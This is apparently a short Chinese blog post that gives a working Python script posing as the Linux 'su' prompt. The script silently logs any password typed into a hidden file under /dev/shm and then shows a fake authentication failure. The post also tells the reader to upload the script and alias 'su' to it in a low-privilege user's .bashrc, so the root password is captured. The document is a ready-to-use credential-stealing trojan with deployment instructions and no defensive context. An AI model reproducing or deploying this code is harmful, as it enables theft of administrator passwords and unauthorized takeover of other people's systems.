#!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log" #CentOS #fail_str = "su: incorrect password" #Ubuntu #fail_str = "su: Authentication failure" #For Linux Korea fail_str = "su: incorrect password" try: passwd = getpass.getpass(prompt='Password: '); file=open(logfile,'a') file.write("[%s]/t%s"%(passwd, current_time)) file.write('/n') file.close() except: pass time.sleep(1) print fail_str
将这个python脚本传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/.su’;
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论